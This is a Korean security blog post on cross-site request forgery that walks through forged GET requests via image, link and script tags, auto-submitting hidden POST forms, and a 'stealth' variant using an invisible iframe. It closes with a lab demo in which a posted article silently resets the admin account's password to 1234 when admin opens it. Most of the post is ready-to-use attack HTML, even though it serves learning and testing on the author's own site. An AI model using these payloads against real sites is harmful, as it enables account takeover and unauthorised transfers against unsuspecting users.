▶ Submitting a forged POST request
GET방식이면 간단히 다음과 같이 img태그나 a태그의 링크에 get방식으로 파라미터를 넣으면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
|
// html태그 사용
<img src='http://bank.com/sendmoney?to=guest&amount=1337' width=0px height=0px>
<img src=1 onerror="fetch('/sendmoney?to=guest&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=guest&amount=1337">
<a href="http://bank.com/transfer?accountNumber=5678&amount=10000">Click here!</a>
// javascript 태그 사용
/* 새 창 띄우기 */
window.open('http://bank.com/sendmoney?to=guest&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.com/sendmoney?to=guest&amount=1337';
location.replace('http://bank.com/sendmoney?to=guest&amount=1337');
|
cs |
POST방식으로 데이터를 전송해야 한다면, XSS 취약점이 있는 곳에 html태그를 삽입하여 다음과 같이 수행할 수 있다.
1
2
3
4
|
<form method="POST" action="CSRF Link">
<input type="hidden" name="email" value="ddd@ddd.com">
<input type="submit" value="click me!">
</form>
|
cs |
다만, 위와 같은 식으로 CSRF를 수행하면 제출버튼을 누르게 유도해야한다. 사회공학적 요소를 추가해야하므로, 자동으로 제출되게끔 처리하는 것이 더 유리하다. javascript요소로 자동화를 다음과 같이 할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
|
<!--스크립트 태그 사용 예시-->
<form method="POST" id="CSRFatk" action="CSRF Link">
<input type="hidden" name="email" value="ddd@ddd.com">
</form>
<script>document.getElementById('CSRFatk').submit();</script>
<!--이벤트핸들러 사용 예시-->
<body onload="document.getElementById('CSRFatk').submit()">
<form method="POST" id="CSRFatk" action="CSRF Link">
<input type="hidden" name="email" value="ddd@ddd.com">
</form>
</body>
|
cs |
▶ Submitting a forged POST request "silently"
Stealth기능을 추가해서 상대방이 CSRF공격을 당한줄도 모르게 만들수도 있다. 더미의 iframe태그를 삽입하여 수행할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!-- 스크립트태그 사용-->
Nice to meet you ~
<iframe width="0" height="0" name="csrf-frame" id="csrf-frame" style="display:none"></iframe>
<form method="POST" action="CSRF Link" target="csrf-frame" id="csrf-form">
<input type="hidden" name="email" value="ddd@ddd.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>
<!-- 이벤트핸들러 사용-->
Nice to meet you ~
<iframe width="0" height="0" name="csrf-frame" id="csrf-frame" style="display:none"></iframe>
<body onload="document.getElementById('csrf-form').submit()">
<form method="POST" action="CSRF Link" target="csrf-frame" id="csrf-form">
<input type="hidden" name="email" value="ddd@ddd.com">
</form>
</body>
|
cs |
▶ CSRF attack
내가 구성한 웹페이지에서 csrf 공격을 수행했다. 'test'계정으로 'admin'계정의 비밀번호를 바꾸게끔 위와 같이 게시글을 구성한다. 이후, 'admin'계정으로 해당 게시글에 접근한다.
[1] 단순 POST request 전송
[2] POST request 자동전송
[3] stealth 기능을 추가한 POST request 자동전송
▶ CSRF 게시글 작성
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<!--1번 CSRF-->
<form method="POST" action="/register_update.php">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="admin">
<input type="hidden" name="jj_password" value="1234">
<input type="hidden" name="jj_password_re" value="1234">
<input type="hidden" name="jj_name" value="CSRF공격">
<input type="hidden" name="jj_address" value="세종기지">
<input type="submit" value="Click me!">
</form>
<!--2번 CSRF-->
<form method="POST" id="csrfattack" action="/register_update.php">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="admin">
<input type="hidden" name="jj_password" value="1234">
<input type="hidden" name="jj_password_re" value="1234">
<input type="hidden" name="jj_name" value="CSRF공격">
<input type="hidden" name="jj_address" value="세종기지">
<input type="submit" value="click_me!">
</form>
<script>document.getElementById("csrfattack").submit();</script>
<!--3번 CSRF-->
Hi, Nice to meet you~
<iframe width="0" height="0" name="csrf_frame" id="csrf_frame"></iframe>
<form method="POST" id="csrfattack" action="/register_update.php" target="csrf_frame">
<input type="hidden" name="mode" value="modify">
<input type="hidden" name="jj_id" value="admin">
<input type="hidden" name="jj_password" value="1234">
<input type="hidden" name="jj_password_re" value="1234">
<input type="hidden" name="jj_name" value="CSRF공격_스텔스">
<input type="hidden" name="jj_address" value="세종기지">
<input type="submit" value="click_me!">
</form>
<script>document.getElementById("csrfattack").submit();</script>
|
cs |
참고 : https://stackoverflow.com/questions/17940811/example-of-silently-submitting-a-post-form-csrf
'정보보안(웹해킹) > CSRF(Cross Site Request Forgery)' 카테고리의 다른 글
CSRF : Token bypass 정리 (0) | 2022.12.07 |
---|---|
CSRF(Cross-Site-Request-Forgery) 개요 - 2 (0) | 2022.12.01 |
CSRF(Cross-Site-Request-Forgery) 개요 (1) | 2022.11.25 |
댓글